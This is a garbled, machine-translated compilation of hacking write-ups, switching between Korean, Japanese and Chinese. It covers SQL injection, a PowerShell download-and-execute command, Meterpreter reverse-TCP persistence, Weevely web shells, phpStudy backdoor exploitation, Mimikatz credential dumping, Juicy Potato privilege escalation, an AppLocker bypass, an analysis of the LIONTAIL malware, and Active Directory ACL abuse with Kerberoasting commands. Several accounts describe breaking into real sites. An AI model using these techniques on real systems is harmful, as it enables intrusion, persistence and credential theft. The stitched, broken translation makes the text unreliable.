雖然LIONTAIL代表了FOXSHELL迭代的邏輯進展,並且仍然具有一些獨特的特徵,使我們能夠將涉及LIONTAIL的攻擊歸因於Manticore。 LIONTAIL框架不再依賴於Internet Information Services (IIS)、它的模塊或. net框架提供的任何其他選項和庫來以編程方式管理IIS。相反,它通過直接與HTTP.sys驅動程序交互來利用最低級別的Windows HTTP堆棧。此外,它允許攻擊者自定義植入程序、配置參數和加載程序的文件傳遞類型,這些都增強了植入程序的隱身能力,使其能夠長時間躲避檢測。預計“Manticore”活動將會更加活躍,並可能蔓延到其他地區。

이 스테이션은 정말 크다. 아니,이 스테이션은 정말로 둥글다.

图片 한 번의 주입

图片 图片 32 비트 만 읽을 수 있기 때문에 서브 스트링을 사용하여 별도로 읽습니다.

https://aaaaa.com/1.php?id=210%20and%20ExtractValue(1,concat(0x7e,(select

관리자 제한 1,1),0x7e))%20#의 비밀번호

https://aaaaa.com/1.php?id=210%20and%20ExtractValue(1,Concat(0x7e,substring (substring) ((evelect

관리자 제한 1,1), 30,35),0x7e)))%20#

图片 편안한 느낌이 들었습니다. 이제 들어가서 속옷을 공개적으로 선택할 수 있습니다.

0x02 쉘을 가져 와서 robots.txt를 참조하십시오

图片INURL:A.com 관리자

배경에 들어가면 나는 그것이 ECShop이라는 것을 알았습니다. 여기서 파일은 우회 된 이미지로 변경되었습니다.

图片는 재설정 된 것 같습니다

여기서 나는 SQL 문을 실행할 수 있고 절대 경로 누출이 있음을 발견했습니다.

图片 图片OK 방금 문장을 작성하십시오

图片0x03 라이센스 图片 권한은 약간 낮습니다

图片 MySQL을 사용하는 다른 방법은 없습니다.

图片 MySQL 권리를 높이려고 노력하십시오

图片 图片 업로드 할 수없는 디렉토리를 제외하고 다른 모든 조건이 충족되므로 CS, PowerShell Online으로 이동하십시오.

图片 자세한 내용은 Juicy Potato를 사용하십시오. Sanhao 학생들의 기사를 참조하십시오. 원하는 clsid를 선택하십시오. 링크

图片 그러면 우리는 시스템 권한으로 PowerShell을 실행하고 있습니다

Shell Style.exe -p 'powerShell.exe -nop -w hidden -c \'iex ((New -Object net.webclient) .downloadString ( 'powerShell address')) \ ''-c {e60687f7f7-01a1-40AA -86AC -DB1CBF67334} 여기에 두 배가 인용문을 기억하십시오.

图片0x04 수평 침투 图片은 작업 그룹 환경이며 0.9를 스캔하며 웹이기도합니다. 다음은 해시 패스이며 해시를 잡기 위해 직접 전송됩니다. 현재 다음 계정이 있습니다

wiseadmin shopaccount mysql wiseadmin filetransfer demoadmin

WDAGUTINITYACCOUNT

일반 해시 배송-

图片 웹이어야하는 데모, 그리고 0.7은 데이터베이스 서버 일 수 있습니다.

모든 관리자 권한을 사용할 수 있습니다. 시스템을 얻으려면 SelectMyparent를 사용할 수 있습니다. 실제로 새로운 프로세스에서 시스템 프로세스의 아동 프로세스를 설정하는 것은 J입니다. 여기서 우리는 CS 말을 사용합니다. 먼저 Winlogon.exe의 PID를 확인하십시오.

당신은 그것이 500임을 알 수 있습니다

图片 그런 다음 System.Exe를 업로드하고 Shell SelectMyparent.exe System.exe 500을 실행하십시오.

图片이 단계는 실제로 단어 수를 구성하는 것입니다.

0x05 : 여기에서 권한이 유지되며 로컬 테스트를 수행합니다.

끈적 끈적한 키 백도어 끈적 끈

图片 스티커 키는 동시에 두 개 이상의 키를 누르는 데 어려움이있는 사람들을 위해 설계된 컴퓨터에 사용되는 바로 가기 키를 나타냅니다. 끈적 끈적한 본드의 주요 기능은 시프트와 다른 키의 조합을 용이하게하는 것입니다. 스티커 키는 먼저 (예 : Shift)를 누르고 다른 키를 동시에 누르는 대신 다른 키를 누르지 않고 물리적 인 이유로 인해 여러 키를 동시에 누를 수없는 일부 사람들에게 편리합니다. 일반적인 컴퓨터는 시프트를 5 번 누를 때 끈적 끈적한 키 프롬프트가 있습니다.

다음 명령을 사용하십시오

CD Wind 관리자에게 권한을 수정하십시오.

图片 图片 图片 图片 그런 다음 전체 제어로 수정하십시오.

图片 图片 이제 우리는 5 번 연속으로 교대를 누르고 시스템 권한 CMD가 팝업됩니다.

图片 주입 백도어 등록

일반 사용자 권한에 따라 공격자는 레지스트리에 실행 해야하는 백도어 프로그램 또는 스크립트 경로를 작성합니다.

hkey_local_machine \ 소프트웨어 \ Microsoft \ Windows \ currentversion \ run

키 값은 임의로 설정할 수 있거나 다음 명령을 실행하여 시작 항목을 직접 추가 할 수 있습니다.

'hkey_local_machine \ 소프트웨어 \ microsoft \ Windows \ currentVersion \ run' /v

test /t reg_sz /d 'c: \ shell.exe'관리자가 시스템에 다시 로그인하면 백도어 프로그램이 실행됩니다.

图片 계획 작업의 백도

명령 :schtasks /create /tn updater /tr c: \ shell.exe /sc 시간별 /mo 명령 위의 명령은 한 시간에 한 번 shell.exe를 실행하고 Win7 이하와 같은 시스템에서 schtasks 대신 AT 명령을 사용합니다.

미터 프리터 백도어

MeterPreter Run Persistence -U -I 5 -P 1234 -R 192.168.220.128 -A

자동으로 매칭을 시작합니다

Exploit/Multi/Handler 프록시에 연결하려면 -L % temp %를 사용하지 않으면 페이로드의 위치가 대상 호스트에 기록됩니다.

-P 페이로드 사용량, 기본값은 Windows/MeterPreter/Reverse_TCP입니다.

-S는 자동으로 트로이 목마를 서비스로 시작합니다 (시스템 권한 포함)

-T 대체 실행 템플릿을 사용할 수 있습니다

-U 사용자가 로그인하면 트로이 목마가 자동으로 시작됩니다.

-X 시스템 부츠가 부츠를 부팅 할 때 트로이 목마가 자동으로 시작됩니다.

-H이 도움말 메뉴

-각 연결 시도 (초) 사이의 시간 간격

-P 포트 Metasploit를 실행하는 시스템이 듣고 있습니다.

-R 시스템의 IP 연결을 듣고 있습니다.

단점은 바이러스 백신 소프트웨어로 감지하기 쉽고 대상 시스템에 새 VBS 파일을 생성 한 다음 매번 자동으로 시작한다는 것입니다.图片Web Backdoor, Weevely를 사용하여 Shell.php를 생성하여 테스트 할 수 있습니다.

图片 图片 파일을 서버 디렉토리에 넣고 실행하십시오.

Weevely http://192.168.220.1/shell.phpshell은 도움을 볼 수 있습니다

Audit.etcpasswd | /etc /passwd audit.userfiles | 사용자/home audit.mapwebfiles에 따라 권한이있는 파일을 나열합니다 모든 웹 사이트 Shell.php |의 URL 링크를 열거하십시오 php 파일 shell.sh |를 쓰십시오 시스템 스크립트 시스템을 작성하십시오 시스템 정보 찾기 수집 .suidsgid | suid/sgid 파일 및 디렉토리 찾기 찾기 읽기 가능/쓰기/실행 파일 및 디렉토리 Backdoor.tcp | TCP 포트 백도어 백도어 .reversetcp | 리바운드 TCP 연결 BruteForce.sql | BLAST 지정된 데이터베이스 사용자 이름 및 비밀번호 BruteForce.sqlusers | 모든 데이터베이스 사용자 비밀번호 파일을 폭파하십시오. upload | 로컬 파일 파일을 업로드 .upload2web | 바이너리/ASCII 파일을 사이트 폴더를 대상으로 업로드하고 URL 파일을 열거합니다. 로컬 어휘 파일에서 원격 파일을 서면 형식으로 열거합니다. 파일 파일을 읽으십시오 .RM | 파일 파일 삭제 .Check | 원격 파일의 상태 (MD5 값, 크기, 권한 등) 파일. 다운로드 | 원격 바이너리/ASCII 파일을 로컬 sql.console |에 다운로드하십시오 SQL 콘솔 SQL.dump 시작 | 백업 데이터베이스, 즉 제한 NET.SCAN | 포트 스캔 net.phpproxy | 원격 PHP 프록시 네트를 설치하십시오. Ifaces | 원격 호스트 네트워크 인터페이스 정보 net.proxy | Windows 명령을 실행하려면 터널 통신 에이전트를 설치하십시오.

图片 내장 명령을 보급하십시오

图片 图片 원래 링크에서 재 인쇄 : https://mp.weixin.qq.com/s?__biz=mzg2ndywmda1na==mid=mid=22474826idx=2SN=8F11B7CC12F6C5DFBB5eeeeb316f14f460ch KSM=CE67A31BF9102A0D70487584DC3C49141A376CC1B35C0659F3AE72BAA7E77E6DE7E0F916DB5SCENE=21#WECHAT_REDIGRECT

1。情報収集

ターゲットWebサイトを取得すると、非常に従来のBCサイトであることが示されています。

まず、シンプルな情報収集を実行でき、PHPバージョンとWindowsのサービングの2つのより重要な情報をWappalyzerプラグインを通じて見ることができます。

图片コマンドラインnslookup+url IPを表示するには、CDNが見つかりません

图片ラブステーションに行き、見てください

图片さて、カンボジアは大丈夫です

IPアドレスを知った後、ポートスキャンは1つのウェーブです(フルポートスキャン +サービス検出。このプロセスは比較的長い、最初に何か他のことをすることができます)

图片

スキャン後、リモートデスクトップ3389に接続してみてください(最初はWindowsが提供されているサーバーであることがわかりました)

图片は、ポートが変更されたと推測して、ログインIPホワイトリストを推測して2回試しましたか?

2。舞台裏の爆発

Webに戻り、バックハンドでURLの後に管理者を追加します

图片バックエンドが出てきました、このBCは少し悲惨です、私はいくつかの弱いパスワードをランダムにテストしましたが、それは実りがありませんでした

確認する検証コードがないことがわかり、パケットをキャッチして爆発しました。

图片従来の弱いパスワードを見つけるのに十分です。

图片パスワードは数秒でリリースされます:123456、私は嘔吐し、それらの操作とメンテナンスは死に至ることがあります

图片 图片

3。アップロードポイントを見つけます

バックエンドを単純に削除すると、確かに満足しません。

背景のさまざまな機能を大まかに閲覧し、使用する場所を探し、システム管理オフィスにアップロードポイントを見つけました

图片(私のいとこはあなたに領収書コードを送りましたか?金持ちになる機会はここにあります!)

何気なく文を書いて、接尾辞を.jpgに変更し、パケットをつかんで、表示するためにリピーターに送信します

图片「リアル画像タイプではない」とプロンプト、パッケージのPHPサフィックスに変更して、違法なファイルタイプを求めて

图片ホワイトリスト +ファイルヘッダーの確認のように感じます。写真馬を試してみてください

图片はいくつかの波を試しましたが、ホワイトリストは非常に真剣に制限されていましたが、それはありませんでした。

突然行き詰まっていたので、別のブレークスルーを見つける方が良いでしょう

iv。ピークループターン

私はそれについて注意深く考えました。 Windows、Windowsの主流のWebサイトビルディングツール、パゴダ、ガードゴッド、Phpstudy、およびupupwです。私はそのPHPバージョンが前に5.2.17であったことを見ました、そして、私はたまたましばらく前に発生したPHPStudyの2つのバックドアを考えました。バックドアは、PHP-5.4.45とPHP-5.2.17の2つのバージョンに存在します。今すぐテストしてください

图片 图片 Accept-Encoding3: gzip、deflate、削除、GZIPの中央のスペースを削除し、リクエストパッケージでデフレート

以下に文を追加します:accept-charset:+ base64実行されたコマンドのエンコーディング

私はショックを受けました。私は本当にphpstudyを使用してウェブサイトを構築しました。ウェブマスターはあまりにも心配です。次のことはずっと簡単です。

5。アリの剣にはファイルシェル接続がありません

图片エンコーダーをbase64に変更することを忘れないでください

次に、文をエンコードしてbase64をコピーして、accept-charset:の後ろにコピーします

图片アリの剣のリクエスト情報を変更し、以下に示すようにヘッダーヘッドを変更する

图片テスト接続、接続に成功しました

图片 图片それが直接システムの許可であることがわかりました。

6。ミミカッツをアップロードしてハッシュ

をつかみます

图片新しいディレクトリを作成し、winrar.exe+mimikatzをアップロードします

图片アップロードされたwinrarを減圧する、コマンド:winrar.exe e x64.rar

图片 MIMI.BATを実行して、ここで説明してみましょう。以下の画像の後に出口を追加するのが最善であると、Mimikatzはログを書き続け、ログファイルが大きく大きくなります。私はその時にそのような間違いを犯しました。

图片 图片生成されたmimikatz.logをWebサイトのルートディレクトリにコピーして、それを表示します

图片管理者のRDPパスワードを正常にキャプチャしました。

前にスキャンしたフルポートを振り返って、私もスキャンしました

图片は、合計3つのポートが開いていることを示しており、一般的にポート3389が変更されています。 NMAPを使用して-SVパラメーターをスキャンして追加すると、スキャンされたRDPサービスは通常、SSL/不明として表示されます。

リモートデスクトップ接続を試してください

图片 heheheは、正常にログインし、サーバーを倒し、タバコに火をつけ、すべての証拠を詰め込み、電話を取り出して110と呼ばれる

7。要約

ウェブシェルを取得すると、データやソースコードを取得したい場合、包丁またはアリの剣を使用してパッケージ化しますが、現時点では、パッケージの障害や不完全包装など、多くの問題が発生します。

現時点では、相手がWindowsサーバーの場合、ローカルにインストールされているwinrar.exeをアップロードできます。

图片圧縮ディスクの下のDATフォルダーとbat.rarwinrar.exe a -ag -k -r -s -ibck C3:/bak.rar C:/dat/

複数のファイルを圧縮するwinrar a -ag -ibck bak.rar filename1 filename2 filename .

パラメーター説明:A:バックアップすべてのファイル。 -ag:圧縮ファイルを作成する場合、現在の日付文字列を「yyyymmddhhmmss」とファイル名Bakyyymmddhhmmss.rarに添付します。 -K:圧縮ファイルをロックします。 -R:バックアップディレクトリとサブディレクトリ。 -S:固体圧縮ファイルを作成します。 -IBCK:はバックグラウンドで実行されます。

filename1:圧縮されるファイル名は複数であるか、ワイルドカードファイル*を使用できます。

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247485789Idx=2Sn=a1a3c9fc97eeab0b5e5bd3d311e 3FAE6CHKSM=CE67A3C4F9102AD21CE5C895D364B4D094391D2369EDFC3AFCE63ED0B155F8DB1C86FA6924F1CENE=21##

0x01はじめに

ヒント:否定的なケースとして見てください。実際、あなたがそれを得る方法は、以下に言及しているものよりもはるかに厄介ではありません。私はただ焦りすぎていると自分自身を責めています.

もともとはBCプロジェクトによって作成されたプロモーションサイトでしたが、当時はシェルしかありませんでした

图片

許可は通常のユーザーです。サーバー上の情報をさらに収集する許可を提起したいとき、彼はさまざまなことを実行することが許可を拒否されることを発見し、グループポリシーにプログラムをブロックするよう促しました。当時、他のことがあったため、彼はそれを研究し続けませんでした(プロジェクトは関連部門によって承認されており、ユーザー名はより敏感であり、プロセス全体が後でコーディングされます)。

图片

0x02バイパスアップルロッカー

私は最近突然それを覚えていたので、私はそれを続け、グループのマスターに尋ねました

图片

それが何であるかを知った後、簡単に言うことができます。辛抱強く探していると、常に何かを獲得します。 Applockerはじめに:

https://baike.baidu.com/item/applocker/2300852?fr=aladdinそれからマスター3gの記事を見つけました。

https://3gstudent.github.io/3gstudent.github.io/use-msxsl-to-bypass-applocker/suse who rease nows ows。記事を読んだ後、フォローアップの一般的なアイデアが明らかになります。

0x03オンラインでエスカレートする

私が思うのは、バイパスアップルロッカーにより、ターゲットサーバーはターゲットサーバーを実行し、馬が起動した後にその後の権利の引き上げを実行できるということですが、実行はシェルの下で実行されます

ネットユーザー、タスクリスト /SVCなどをエコーしないでください。そうしないと、プロセス比較を使用してソフトソフトウェアを判断できます(私が書いた小さなホイールで、一致するプロセスは960+:3http://get-av.se7ensec.cn/に増加しました)

わからないので、私は自分のキャラクターを競い、ホストにキリングソフトウェアがないことに賭けます。上記の3Gマスター記事の3番目の方法で馬を走らせた後、下のマシンを無視してオンラインになりました.

图片

CSが起動された後、次のようなコマンドを実行すると、タスクリスト/SCVは引き続きアクセスが拒否されます。

图片

次に、組み込みのCSシステムプロセスコマンド「PS」を試して、システムプロセスを正常にリストしました。それを見た後、それは本当にソフトウェアを殺しませんでした。

/*スクリーンショットを撮るのを忘れた */

走る "

Shell SystemInfo「システムとパッチ情報が見えることがわかりましたが、システムにはいくつかのパッチがありませんでした。私は幸運でした。ユーザーの許可をチェックした後、Juicy Potatoの要件を満たしました。

テスト後、それが起動されたことがわかりました(実際、実行許可はありましたが、その時点で何かが間違っているとは思っていませんでした。後で記事を要約したときに何かが間違っていることに気付きました。詳細については、記事の最後を参照してください)。 c: \ users \ public \には実行権限があります。 Juicy Potatoを使用してWhoamiパラメーターを実行し、システムに正常に戻りました。

图片

その後、それを使用して直接降りると、システムセッションは数秒で行われます。ディレクトリをめくった後、私はそれがまだウェブサイトグループであることがわかりました。

图片

管理者許可のスクリーンショットを取ります。たくさんあるのも不思議ではありません。彼らはすべてバッチでWebサイトを構築することがわかりました:

图片

0x04要約

今回は幸運でキラーに出会わなかったことが起こりました。そうでなければ、それはでこぼこの道であり、より挑戦的です。

最も失敗するのは、今回はApplockerの機能のいくつかを完全に理解していなかったことです。

https://www.anquanke.com/post/id/159892、私はバイパス法を検索することを切望していて、それを使用し始めました。実際、私が今回遭遇したのは、ファイルパスの単なる制限でした。 c: \ users \ public \はプログラムを実行できます。以前に見つけるのはそれほど難しくありません。ただし、Applockerメカニズムを完全に理解できることも報酬です。

元のリンクから転載:https://mp.weixin.qq.com/s/ede6g1g4hbmkxq6tkieq

Check Point Research與Sygnia事件響應小組合作,追踪分析Manticore活動,這是一個主要針對中東政府和電信部門的攻擊活動。據分析,Manticore與OilRig(又名APT34、EUROPIUM、Hazel Sandstorm)有關聯。

在最新的攻擊活動中,攻擊者利用了LIONTAIL框架,這是一套複雜的自定義加載程序和內存駐留shellcode有效負載。 Manticore使用HTTP.sys驅動程序的未記錄功能從傳入的HTTP流量中提取有效負載。觀察到的LIONTAIL相關惡意軟件的多種變體表明,Manticore為每台受攻擊的服務器生成了一個自定義的植入程序,使惡意活動能夠融入合法的網絡流量中,並且無法從中識別。

儘管LIONTAIL框架本身看起來很獨特,並且與任何已知的惡意軟件家族沒有明顯的代碼重疊,但這些攻擊中使用的其他工具與之前報告的活動重疊。最值得注意的是,其中一些最終與OilRig有關聯。

在這篇文章中,我們提供了最新工具的技術分析。

LIONTAIL框架LIONTAIL是一個惡意軟件框架,包括一組自定義shellcode加載器和內存駐留shellcode有效負載。它的一個組件是用c語言編寫的LIONTAIL後門。它是一個輕量級但相當複雜的被動後門,安裝在Windows服務器上,使攻擊者能夠通過HTTP請求遠程執行命令。後門為其配置中提供的url列表設置偵聽器,並執行攻擊者向這些url發送請求的有效負載。

LIONTAIL後門組件是最新的Manticore攻擊中使用的主要植入程序。利用來自面向公眾服務器的訪問權限,攻擊者鏈接了一組被動植入程序來訪問內部資源。到目前為止,我們看到的LIONTAIL後門的內部樣本要么偵聽HTTP,要么在某些情況下使用命名管道來促進遠程代碼執行。

1.png

LIONTAIL惡意軟件框架概述

LIONTAIL加載器安裝我們觀察到在受攻擊的Windows服務器上有兩種後門安裝方法:獨立可執行文件和通過Windows服務或合法進程的搜索順序劫持加載的dll。

當作為DLL安裝時,惡意軟件利用Windows Server操作系統發行版中缺少的一些DLL:後門被放置到系統文件夾C:\ Windows \system32中,作為wlanapi.dll或wlbsctrl.dll。默認情況下,Windows Server安裝中不存在這兩個選項。根據Windows Server版本,惡意DLL繼續由其他進程(如Explorer.exe)直接加載,或者攻擊者啟用特定服務(默認禁用),這些服務需要這些DLL。

在wlbsctrl.dll的情況下,DLL在IKE和AuthIP IPsec key Modules服務開始時加載。對於wlanapi.dll,攻擊者啟用可擴展身份驗證協議:

sc.execonfigEaphoststart=auto;

sc.exestartEaphost;在將LIONTAIL作為可執行文件部署的樣本中,觀察到的一個值得注意的特徵是試圖將可執行文件偽裝成Cyvera Console (Cortex XDR的一個組件)。

配置惡意軟件首先對包含其配置的結構執行一個1字節的異或解密,該結構用以下結構表示:

2.png

字段listen_urls定義了惡意軟件偵聽傳入請求的特定URL前綴

所有示例的URL列表都包含http://+:80/Temporary_Listen_Addresses/前綴,這是一個默認的WCF URL保留,允許任何用戶從該URL接收消息。其他示例包括端口80、443和444上的多個url(在Exchange服務器上),模擬現有服務,例如:

https://+:443/autodiscover/autodiscovers/;

https://+:443/ews/exchanges/;

https://+:444/ews/ews/;許多LIONTAIL示例包含量身自定義的配置,其中添加了多個其他自定義url,以匹配受攻擊服務器上現有的web文件夾。由於實際的IIS服務已經使用了現有文件夾的url,因此生成的有效負載在路徑中包含額外的隨機字典單詞。這確保了惡意軟件通信與合法通信融合在一起,方便隱藏。

配置中所有前綴的host元素由單個加號(+)組成,這是一個匹配所有可能主機名的“強通配符”。當應用程序需要處理指向一個或多個相對url的請求時,無論這些請求如何到達計算機或它們在host標頭中指定的站點(主機或IP地址),強通配符都是有用的。

為了理解惡意軟件如何在這些前綴上配置偵聽器以及該方法如何隨時間變化,有必要對Windows HTTP堆棧有所了解。

Windows HTTP棧組件WindowsServer2003中引入了一種端口共享機制,允許多個HTTP服務共享相同的TCP端口和IP地址。該機制封裝在HTTP.sys中,HTTP.sys是一個內核模式驅動程序,負責處理HTTP請求,偵聽傳入的HTTP請求,並將它們引導到相關的用戶模式進程或服務以進行進一步處理。

在驅動程序層之上,Windows提供了HTTP服務器API,這是一個用戶模式組件,提供了與HTTP.sys交互的接口。此外,後台的Internet信息服務(IIS)依賴於HTTP API與HTTP.ssys驅動程序交互。以類似的方式,NET框架中的HttpListener類是圍繞HTTPServerneneneba API的簡單包裝器。

3.png

Windows服務器上HTTP棧組件的架構

應用程序接收和處理特定URL前綴請求的過程可以概述如下:

1.惡意軟件通過Windows操作系統提供的任何方式向HTTP.sys註冊一個或多個URL前綴。

2.當接收到HTTP請求時,如果該惡意軟件負責該前綴,HTTP.sys識別與請求前綴相關聯的應用程序,並將該請求轉發給惡意軟件。

3.惡意軟件的請求handler隨後接收HTTP.sys截獲的請求,並為其生成響應。

CC通信在提取配置後,惡意軟件使用相同的1字節異或通過偵聽提供的URL前綴列表來解密負責建立CC通信通道的shellcode。雖然在面向web的Windows服務器上使用被動後門的概念並不新鮮,早在2019年就有人在野外觀察到它劫持了同一個Windows DLL wblsctrl.DLL,但LIONTAIL的開發人員提高了他們的方法。該惡意軟件不使用HTTP API,而是使用IOCTL與底層HTTP.sys驅動程序直接交互。這種方法更隱蔽,因為它不涉及IIS或HTTP API,這些通常由安全解決方案密切監控,但考慮到HTTP.sys的IOCTL沒有記錄,還需要進一步研究。

首先,shellcode使用以下IOCTL向HTTP.sys註冊URL前綴:

0x128000–UlCreateServerSessionOctl:創建HTTP/2.0會話。

0x128010–UlCreateUrlGroupIoctl:創建新的UrlGroup。 UrlGroup是在服務器會話下創建的一組URL的配置容器,並繼承其配置設置。

0x12801d–UlSetUrlGroupIoctl:通過設置HttpServerBindingProperty將UrlGroup與請求隊列相關聯。

0x128020–UlAddUrlToUrlGroupIoctl:將listen_urls數組添加到新創建的UrlGroup中。

4.png

HTTPsys IOCTL表

註冊URL前綴後,後門啟動一個負責處理傳入請求的循環,直到它從一個等於後門配置中提供的end_string的URL獲得請求。

後門使用0x124036–UlReceiveHttpRequestIoctl IOCTL接收HTTP.sys的請求。

根據受攻擊服務器的版本,使用0x12403B–UlReceiveEntityBodyIoctl或(如果高於20348)0x12403A–UlReceiveEntityBodyFastIo接收請求正文。然後,通過將整個數據與數據的第一個字節異或,對其進行base64解碼和解密。這是在多個惡意軟件家族中觀察到的常見加密方法,包括但不限於DEV-0861的網絡部署反向代理。

5.png

來自LIONTAIL有效負載的CC解密方案

解密後的有效負載具有以下結構:

6.png

惡意軟件創建一個新線程並在內存中運行shellcode。由於某種原因,它使用請求消息中的shellcode_output和shellcode_output_size作為指向內存中各自數據的指針。

為了加密響應,惡意軟件選擇一個隨機字節,使用它作為密鑰對數據進行異或編碼,將密鑰添加到結果中,然後對整個結果進行base64編碼,最後使用IOCTL0x12403F - UlSendHttpResponseIoctl將其發送回CC服務器。

LIONTAIL web shell除了PE植入程序外,Manticore還使用基於web shell的LIONTAIL shellcode加載器。 web shell以類似於其他Manticore . net有效負載和web shell的方式進行混淆。

7.png

LIONTAIL web shell的主要函數(格式化,保留混淆)

web shell接收帶有2個參數的請求:

马云惹不起马云 要執行的shellcode;

马云惹不起马云要使用的shellcode參數;

這兩個參數的加密方式與其他通信相同:對第一個字節進行異或,然後進行base64編碼。

發送到基於web shell的shellcode加載程序的shellcode和參數的結構與LIONTAIL後門中使用的結構相同,這表明觀察到的工件是一個更大框架的一部分,該框架允許根據攻擊者的訪問和需求動態構建加載程序和有效負載。

使用命名管道的LIONTAIL版本我們還發現了與LIONTAIL樣本具有相似內部結構的加載器。這個版本不是偵聽URL前綴,而是從命名管道獲取有效負載,並且可能被指定安裝在無法訪問公共web的內部服務器上。惡意軟件的配置有點不同:

8.png

主shellcode首先將字符串安全描述符“D:(A;FA;WD)”轉換為有效的、功能性的安全描述符。由於字符串以“D”開頭,它表示DACL(自由訪問控制列表)條目,通常具有以下格式:entry_type:heritance_flags(ACE_type;ACE_flags;rights;object_GUID;heritance_object_GUID;account_SID)。在該樣本中,安全描述符允許(A)對所有人(WD)進行文件全訪問(FA)。

然後使用安全描述符根據配置中提供的值創建命名管道。在我們觀察到的示例中,所使用的管道的名稱是\\.\pipe\test-pipe。

值得注意的是,與HTTP版本不同,惡意軟件沒有使用任何更高級的技術來連接到命名管道,從中讀取和寫入。相反,它依賴於標準的kernel32.dll api,如CreateNamedPipe和ReadFileWriteFile。

基於命名管道的LIONTAIL的通信與HTTP版本相同,具有相同的加密機制和相同的負載結構,在內存中作為shellcode運行。

LIONTAIL內存組件有效負載類型在LIONTAIL加載器解密從攻擊者的CC服務器接收到的有效負載及其參數後,它開始解析參數。它是一個結構,描述了shellcode要執行的有效負載類型,並且根據有效負載的類型構建不同:

TYPE=1 :執行另一個shellcode:

9.png

TYPE=2 :執行指定的API函數:

10.png

API執行的參數結構如下:

11.png

下一個階段為了防止分析,Manticore將最終有效負載封裝在嵌套的shellcode中。例如,從攻擊者那裡收到的一個shellcode會運行另一個幾乎相同的shellcode,而這個shellcode又會運行負責計算機指紋識別的最後一個shellcode。

此有效負載收集的數據是通過運行特定的Windows api或枚舉註冊表項收集的,並包括以下組件:

1.計算機名(使用GetComputerNameW API)和域名(使用GetEnvironmentVariableA API);

2.如果系統是64位的標誌(使用GetNativeSystemInfo API,檢查是用wProcessorArchitecture==9完成的);

3.處理器數量(使用GetNativeSystemInfo API的dwNumberOfProcessors);

4.物理內存(GetPhysicallyInstalledSystemMemory);

5.來自當前版本註冊表項的數據(類型、名稱長度、名稱、數據長度和數據);

6.來自SecureBoot\State註冊表項的數據;

7.來自System\Bios註冊表項的數據;

最後的結構包含所有收集到的信息,也有一個錯誤代碼的位置,供攻擊者使用,以找出為什麼他們使用的一些api不像預期的那樣運行:

12.png

額外的工具除了使用LIONTAIL,我們還觀察到Manticore利用了其他自定義組件。

LIONHEAD網絡傳送器在一些被攻擊的交換服務器上,攻擊者部署了一個名為LIONHEAD的小型網絡傳送器。 LIONHEAD也作為服務安裝,使用與LIONTAIL相同的幻影DLL劫持技術,並利用類似的機制將流量直接轉發到Exchange Web Services (EWS)終端。

LIONHEAD的配置與LIONTAIL不同:

13.png

後門以與LIONTAIL相同的方式註冊listen_urls前綴並偵聽請求。對於每個請求,後門都會復制內容類型、cookie和正文,並將其轉發到配置中指定的

這個傳送器可以用來繞過對EWS外部連接的限制,隱藏EWS數據的真正使用者。

滥用活动目录ACLs\ACEs权限

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

https://www.cnblogs.com/nice0e3/p/15879624.html

DACL和ACE是与访问控制相关的概念,常用于操作系统和网络环境中。以下是对它们的详细解释:

  1. DACL(Discretionary Access Control List):DACL是一种访问控制列表,用于确定谁可以访问特定对象(如文件、文件夹、注册表项等)。DACL是以访问控制条目(ACE)的形式组成的列表。
  2. ACE(Access Control Entry):ACE是DACL中的基本单元,用于授予或拒绝对对象的访问权限。每个ACE定义了一个安全主体(如用户、组、计算机等)以及该安全主体所具有的权限。

在DACL中,每个ACE包含以下信息:

  • 安全主体(SID):标识被授权或被拒绝访问权限的用户、组或计算机的唯一标识符。
  • 访问权限:表示特定操作或权限(如读取、写入、执行等)。
  • 访问掩码:指定了实际授予或拒绝的权限。
  • 辅助访问掩码:在某些情况下,用于指定其他条件或限制。

当访问对象时,系统将根据DACL中的ACE进行验证。如果存在与用户身份匹配的ACE,并且该ACE授予了所请求的权限,访问将被允许。如果没有匹配的ACE,或者存在与用户身份匹配的ACE,但是该ACE拒绝了所请求的权限,访问将被拒绝。

域管理员的ACE如下

4btyj4sfy0k11772.png

其中,我们关注的权限为如下几条

  • GenericAll - full rights to the object (add users to a group or reset user's password)
  • GenericWrite - update object's attributes (i.e logon script)
  • WriteOwner - change object owner to attacker controlled user take over the object
  • WriteDACL - modify object's ACEs and give attacker full control right over the object
  • AllExtendedRights - ability to add user to a group or reset password
  • ForceChangePassword - ability to change user's password
  • Self (Self-Membership) - ability to add yourself to a group
  • GenericAll - 对对象拥有完全权限(例如添加用户到组或重置用户密码) 。
  • GenericWrite - 更新对象的属性(例如登录脚本) 。
  • WriteOwner - 修改对象的所有者为攻击者控制的用户,接管该对象 。
  • WriteDACL - 修改对象的ACEs,并授予攻击者对该对象的全部控制权限 。
  • AllExtendedRights - 能够添加用户到组或重置密码 。
  • ForceChangePassword - 能够更改用户的密码 。
  • Self(Self-Membership)- 能够将自己添加到组中。
  • Self-Membership - 这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象),也就是说,某个对象在某个组中是Self-Membership身份。
GenericAll
对用户账户的GenericAll权限

使用PowerView工具,查看用户的GenericAll权限。

powershell -exec bypass

Import-Module .\PowerView.ps1

//获取用户man1的AD对象的访问控制列表(ACL),筛选返回具有"GenericAll"权限的项

Get-ObjectAcl -SamAccountName man1 -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

可以看到spotless用户拥有对delegate的GenericAll权限,那么在已获得spotless用户权限的情况下,我们可以接管delegate用户。

wqeuuparewy11775.png

  1. **更改密码:**直接修改delegate用户的密码即可。

net user <username><password> /domain

  1. **Kerberoasting攻击:**给delegate用户设置SPN,然后通过spotless用户的TGT来请求所有服务的ST,获取到delegate用户的HASH加密的ST,进行破解。

# Set SPN

Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}

# Get Hash

.\Rubeus.exe kerberoast /user:<username> /nowrap

# Clean SPN

Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose

https://github.com/ShutdownRepo/targetedKerberoast

python3 targetedKerberoast.py -domain.local -u <username> -p password -v

  1. **ASREProast攻击:**可以通过禁用预身份验证来使用户ASREPRoastable ,然后对其进行 ASREProast攻击。

Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

对用户组的GenericAll权限

//获取到domain admins组的distinguishedName值

Get-NetGroup "domain admins"

x4cvvqnkmg211783.png

//获取Domain Admins组的ACL

